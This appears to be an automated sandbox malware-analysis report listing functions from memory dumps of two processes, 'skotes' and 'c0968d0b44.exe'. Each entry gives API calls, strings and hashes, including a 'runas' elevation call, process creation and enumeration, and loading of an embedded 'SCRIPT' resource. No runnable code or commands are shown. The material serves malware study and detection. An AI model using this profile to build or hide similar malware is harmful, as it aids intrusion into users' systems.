Instruction Fuzzy Hash: B7E08C32921228EBCB14DB98C9089CAFBECFB89B00B65049AF501D3150D2B0EE00C7D0

Function 005B4840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 005B4877
___except_validate_context_record.LIBVCRUNTIME ref: 005B487F
_ValidateLocalCookies.LIBCMT ref: 005B4908
__IsNonwritableInCurrentImage.LIBCMT ref: 005B4933
_ValidateLocalCookies.LIBCMT ref: 005B4988

Strings

S9[, xrefs: 005B4925, 005B492E, 005B493F
csm, xrefs: 005B491D

Memory Dump Source

Source File: 00000005.00000002.7314679231.0000000000581000.00000040.00000001.01000000.00000007.sdmp, Offset: 00580000, based on PE: true

Associated: 00000005.00000002.7314629598.0000000000580000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314679231.00000000005E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314839555.00000000005E9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.00000000005EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000774000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000084D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317045801.0000000000896000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317855474.0000000000A30000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_580000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9[$csm
API String ID: 1170836740-2380854085
Opcode ID: 5ba3ed3c8ad3ee69976a4965f8f44db409b052603352895acb07b98482ef53fa
Instruction ID: bfe692abe3cb64e5b277e10cfbc9e6ecc619c96fa16715df9f75cd4892742643
Opcode Fuzzy Hash: 5ba3ed3c8ad3ee69976a4965f8f44db409b052603352895acb07b98482ef53fa
Instruction Fuzzy Hash: 53519234A00249ABCF24DF68D885AEEBFA5BF45324F148156E8189B353D732EA15CF91

Function 00582EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00582F5F
__Mtx_unlock.LIBCPMT ref: 00582FCC
__Cnd_broadcast.LIBCPMT ref: 00582FE3
__Mtx_unlock.LIBCPMT ref: 005830F5
__Mtx_unlock.LIBCPMT ref: 0058319B

Memory Dump Source

Source File: 00000005.00000002.7314679231.0000000000581000.00000040.00000001.01000000.00000007.sdmp, Offset: 00580000, based on PE: true

Associated: 00000005.00000002.7314629598.0000000000580000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314679231.00000000005E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314839555.00000000005E9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.00000000005EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000774000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000084D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317045801.0000000000896000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317855474.0000000000A30000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_580000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 1fcfaab4850d6a262906370abaa0effff466772bff5ac267afba7ebdd10f6de0
Instruction ID: 78c57e5eb25970dae8b1c78b39867d58f9d4f7b25aa51e1e4f7e091649cf3a13
Opcode Fuzzy Hash: 1fcfaab4850d6a262906370abaa0effff466772bff5ac267afba7ebdd10f6de0
Instruction Fuzzy Hash: 1AA1CF70A01216DFEF10EF64C94976ABFB8FF55B10F048529E815E7281EB35EA04CB91

Function 005BF35F Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 005BF3A3

Strings

8"^, xrefs: 005BF44B
`'^, xrefs: 005BF375
,m[, xrefs: 005BF367, 005BF49B

Memory Dump Source

Source File: 00000005.00000002.7314679231.0000000000581000.00000040.00000001.01000000.00000007.sdmp, Offset: 00580000, based on PE: true

Associated: 00000005.00000002.7314629598.0000000000580000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314679231.00000000005E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314839555.00000000005E9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.00000000005EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000774000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000084D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317045801.0000000000896000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317855474.0000000000A30000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_580000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: ,m[$8"^$`'^
API String ID: 3903695350-695833414
Opcode ID: d3f6257ea386249c28ece33bf98bc7d2ae6a4996d1345cd068f1f1803e5c1259
Instruction ID: 4fff06e30b5cd61cfda3e119cb21ac84898f5a5891263d3ceedf901fbd865f37
Opcode Fuzzy Hash: d3f6257ea386249c28ece33bf98bc7d2ae6a4996d1345cd068f1f1803e5c1259
Instruction Fuzzy Hash: C0312831600606EFEB21AA39DC49BDBBBE8FF80356F144829E459D7595DE71BC808B21

Function 005BCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 005BCC66

Memory Dump Source

Source File: 00000005.00000002.7314679231.0000000000581000.00000040.00000001.01000000.00000007.sdmp, Offset: 00580000, based on PE: true

Associated: 00000005.00000002.7314629598.0000000000580000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314679231.00000000005E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314839555.00000000005E9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.00000000005EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000774000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000084D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317045801.0000000000896000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317855474.0000000000A30000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_580000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 3433da76dad445cabed3b6636cefddd1e37a3d9e17ec0213163c639881a024cc
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 74B116329046869FDB16CF68C881BFEBFE5FF95340F14416AE855EB242D634AD01CB68

Function 0059BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0059BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0059BBE4
_xtime_get.LIBCPMT ref: 0059BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0059BC13

Memory Dump Source

Source File: 00000005.00000002.7314679231.0000000000581000.00000040.00000001.01000000.00000007.sdmp, Offset: 00580000, based on PE: true

Associated: 00000005.00000002.7314629598.0000000000580000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314679231.00000000005E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314839555.00000000005E9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.00000000005EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000774000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000084D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317045801.0000000000896000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317855474.0000000000A30000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_580000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: f455130139991f266e7e3e17c46dc60e14b3aebfb2d3df6e4fc92bcd5270ba19
Instruction ID: 5e7398870baa7d18d3a7d3205a44e47ff3bef0a21da16e35ddbbe253f90ecd91
Opcode Fuzzy Hash: f455130139991f266e7e3e17c46dc60e14b3aebfb2d3df6e4fc92bcd5270ba19
Instruction Fuzzy Hash: 21212F75A0111AAFEF00EFA8DD859BEBFB9FF48710F100016F501A7291DB349D019BA0

Function 0058E360 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0058E4F9

Strings

invalid stoi argument, xrefs: 0058E4F4
L1^, xrefs: 0058E394

Memory Dump Source

Source File: 00000005.00000002.7314679231.0000000000581000.00000040.00000001.01000000.00000007.sdmp, Offset: 00580000, based on PE: true

Associated: 00000005.00000002.7314629598.0000000000580000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314679231.00000000005E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314839555.00000000005E9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.00000000005EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000774000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000084D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7314878602.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317045801.0000000000896000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.7317855474.0000000000A30000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_580000_skotes.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_
String ID: L1^$invalid stoi argument
API String ID: 909987262-2579558285
Opcode ID: 5875d8d4ebe056d423242c00134f0cd7c89747084ccb49b08308102d85762934
Instruction ID: 891a182cc38752b922ddeedc00d81901adfb925d103d95e5f287add0f0bf733e
Opcode Fuzzy Hash: 5875d8d4ebe056d423242c00134f0cd7c89747084ccb49b08308102d85762934
Instruction Fuzzy Hash: 54F09C71500355ABD738A768DC4F9573BE8F795710F004426FD64A7251DB707904D7A3

Analysis Process: c0968d0b44.exePID: 1864, Parent PID: 4676COMMON

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.2%
Total number of Nodes:	1598
Total number of Limit Nodes:	54

Executed Functions

Function 00A642DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00A6430D

Part of subcall function 00A66B57: _wcslen.LIBCMT ref: 00A66B6A

GetCurrentProcess.KERNEL32(?,00AFCB64,00000000,?,?), ref: 00A64422
IsWow64Process.KERNEL32(00000000,?,?), ref: 00A64429
LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 00A64454
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00A64466
GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 00A64474
FreeLibrary.KERNEL32(00000000,?,?), ref: 00A6447B
GetSystemInfo.KERNEL32(?,?,?), ref: 00A644A0

Strings

kernel32.dll, xrefs: 00A6444F
|O, xrefs: 00AA36F8
GetNativeSystemInfo, xrefs: 00A64460

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: ec0dd7e4b4983a3de6471d9d377a44ae2d25a2add3470354f17d60be71c546b0
Instruction ID: ac2d61619880775557ab0654de09a1d83ba8137f3f124a2d58e61f8f7594bcc1
Opcode Fuzzy Hash: ec0dd7e4b4983a3de6471d9d377a44ae2d25a2add3470354f17d60be71c546b0
Instruction Fuzzy Hash: 96A1737690A2C4FFCB11C7AD7D451AD7FBC6B2A740B389C99E08197B62DE304509CB29

Function 00A642A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,00A650AA,?,?,00000000,00000000), ref: 00A642B2
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00A650AA,?,?,00000000,00000000), ref: 00A642C9
LoadResource.KERNEL32(?,00000000,?,?,00A650AA,?,?,00000000,00000000,?,?,?,?,?,?,00A64F20), ref: 00AA35BE
SizeofResource.KERNEL32(?,00000000,?,?,00A650AA,?,?,00000000,00000000,?,?,?,?,?,?,00A64F20), ref: 00AA35D3
LockResource.KERNEL32(00A650AA,?,?,00A650AA,?,?,00000000,00000000,?,?,?,?,?,?,00A64F20,?), ref: 00AA35E6

Strings

SCRIPT, xrefs: 00A642BF

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: f6a3d57c7fbbcfb71fca9398c82700b85e196c52d47d417864db1f75741b7608
Instruction ID: a3b59b40d4de0dccb5200e3d64d9cb3e1c23dc6df6e2f7d887c2de846c1e14b5
Opcode Fuzzy Hash: f6a3d57c7fbbcfb71fca9398c82700b85e196c52d47d417864db1f75741b7608
Instruction Fuzzy Hash: 19117C71200705BFDB219BAADD58FA77BB9EBC9B61F204169F402D6290DB71DC11C660

Function 00AA2BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetCurrentDirectoryW.KERNEL32(?), ref: 00A62B6B

Part of subcall function 00A63A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00B31418,?,00A62E7F,?,?,?,00000000), ref: 00A63A78

Part of subcall function 00A69CB3: _wcslen.LIBCMT ref: 00A69CBD

GetForegroundWindow.USER32(runas,?,?,?,?,?,00B22224), ref: 00AA2C10
ShellExecuteW.SHELL32(00000000,?,?,00B22224), ref: 00AA2C17

Strings

runas, xrefs: 00AA2C0B

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CurrentDirectoryExecuteFileForegroundModuleNameShellWindow_wcslen
String ID: runas
API String ID: 448630720-4000483414
Opcode ID: 08568bd3d6e657fd8ab0548175d66d7365233a5679550f357aa31c8b92b6e598
Instruction ID: ff067cf112bae475ff7875f91b378c2fb390b67c76d4bd62c5153ca24dc62bb3
Opcode Fuzzy Hash: 08568bd3d6e657fd8ab0548175d66d7365233a5679550f357aa31c8b92b6e598
Instruction Fuzzy Hash: CA11E932208345AACB14FFA4DA51ABEB7F8DF91350F04082DF186571A2CF31894BD712

Function 00AEA67C Relevance: 6.2, APIs: 4, Instructions: 175
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00AEA6AC
Process32FirstW.KERNEL32(00000000,?), ref: 00AEA6BA

Part of subcall function 00A69CB3: _wcslen.LIBCMT ref: 00A69CBD

Process32NextW.KERNEL32(00000000,?), ref: 00AEA79C
CloseHandle.KERNELBASE(00000000), ref: 00AEA7AB

Part of subcall function 00A7CE60: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,00AA3303,?), ref: 00A7CE8A

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
String ID:
API String ID: 1991900642-0
Opcode ID: ba19f4b1b839f57f8519d343d53cef3e5417e4488515b8e4c800f30c7b4dccc5
Instruction ID: 5919d9af691aad5a996359ddf8e575bb1c100059b492f47cd5c68c80897ae8f9
Opcode Fuzzy Hash: ba19f4b1b839f57f8519d343d53cef3e5417e4488515b8e4c800f30c7b4dccc5
Instruction Fuzzy Hash: 6F513B71508340AFD710EF65C986A6BBBF8FF99754F00891DF58997291EB30E904CB92

Function 00ACDBBE Relevance: 6.0, APIs: 4, Instructions: 29
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(?,00AA5222), ref: 00ACDBCE
GetFileAttributesW.KERNELBASE(?), ref: 00ACDBDD
FindFirstFileW.KERNEL32(?,?), ref: 00ACDBEE
FindClose.KERNEL32(00000000), ref: 00ACDBFA

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: d6d06b0cf5cbb0fcd4d7c9db0ff3a43d4fe56e966e10d2ed8298c9814cd84d2c
Instruction ID: 469a6193c3f055f418d3cef693c7ecd1d4bae6b1757f0bc221bbbea574c89e9e
Opcode Fuzzy Hash: d6d06b0cf5cbb0fcd4d7c9db0ff3a43d4fe56e966e10d2ed8298c9814cd84d2c
Instruction Fuzzy Hash: C2F0A03081891867C220ABF8AE0D9BA376C9E01334B10471AF836C20E0EBB06956C695

Function 00A84CE8 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00A928E9,?,00A84CBE,00A928E9,00B288B8,0000000C,00A84E15,00A928E9,00000002,00000000,?,00A928E9), ref: 00A84D09
TerminateProcess.KERNEL32(00000000,?,00A84CBE,00A928E9,00B288B8,0000000C,00A84E15,00A928E9,00000002,00000000,?,00A928E9), ref: 00A84D10
ExitProcess.KERNEL32 ref: 00A84D22

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: bf356d2ae5624eca8bd191c48078eb10c86359d958d354d7e032a4365af7d3dd
Instruction ID: 5d4298c4998bf2103a4d20d88ec91abae648fbdb003cc443ca95d14ca7f160f7
Opcode Fuzzy Hash: bf356d2ae5624eca8bd191c48078eb10c86359d958d354d7e032a4365af7d3dd
Instruction Fuzzy Hash: 4CE0B631000149AFCF12BF95DE09A69BB69EB45791B104114FD458A122CB35ED52DB80

Function 00AEAFF9 Relevance: 24.4, APIs: 16, Instructions: 418
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 00AEB198
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00AEB1B0
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00AEB1D4
_wcslen.LIBCMT ref: 00AEB200
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00AEB214
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00AEB236
_wcslen.LIBCMT ref: 00AEB332

Part of subcall function 00AD05A7: GetStdHandle.KERNEL32(000000F6), ref: 00AD05C6

_wcslen.LIBCMT ref: 00AEB34B
_wcslen.LIBCMT ref: 00AEB366
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00AEB3B6
GetLastError.KERNEL32(00000000), ref: 00AEB407
CloseHandle.KERNEL32(?), ref: 00AEB439
CloseHandle.KERNEL32(00000000), ref: 00AEB44A
CloseHandle.KERNEL32(00000000), ref: 00AEB45C
CloseHandle.KERNEL32(00000000), ref: 00AEB46E
CloseHandle.KERNEL32(?), ref: 00AEB4E3

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
String ID:
API String ID: 2178637699-0
Opcode ID: 9665f7688418f9d2b07df19c0a0594077cb7f821121fe01ca8d378c030916790
Instruction ID: ff73564d02f13747a463f0452e86984849b57a6f559ef825d7c4fe878f3a7804
Opcode Fuzzy Hash: 9665f7688418f9d2b07df19c0a0594077cb7f821121fe01ca8d378c030916790
Instruction Fuzzy Hash: 86F1BD316183409FC714EF25C995B6FBBE1AF85314F14855DF89A8B2A2DB30EC40CB62

Function 00A6D730 Relevance: 21.6, APIs: 14, Instructions: 619windowsleeptimeCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 00A6D807
timeGetTime.WINMM ref: 00A6DA07
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00A6DB28
TranslateMessage.USER32(?), ref: 00A6DB7B
DispatchMessageW.USER32(?), ref: 00A6DB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00A6DB9F
Sleep.KERNELBASE(0000000A), ref: 00A6DBB1

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
String ID:
API String ID: 2189390790-0
Opcode ID: 36a7be9a90844553820af54cc3cdab31366a83339a14fc2b554dc520cb0329cc
Instruction ID: 271edbd46a245874c5dc82946e56256e31baed53470b7a364e9936a6f6554887
Opcode Fuzzy Hash: 36a7be9a90844553820af54cc3cdab31366a83339a14fc2b554dc520cb0329cc
Instruction Fuzzy Hash: BA42C071B08241EFD728CF24C994BAABBF4FF55354F148A1EE4558B292DB70E844CB92

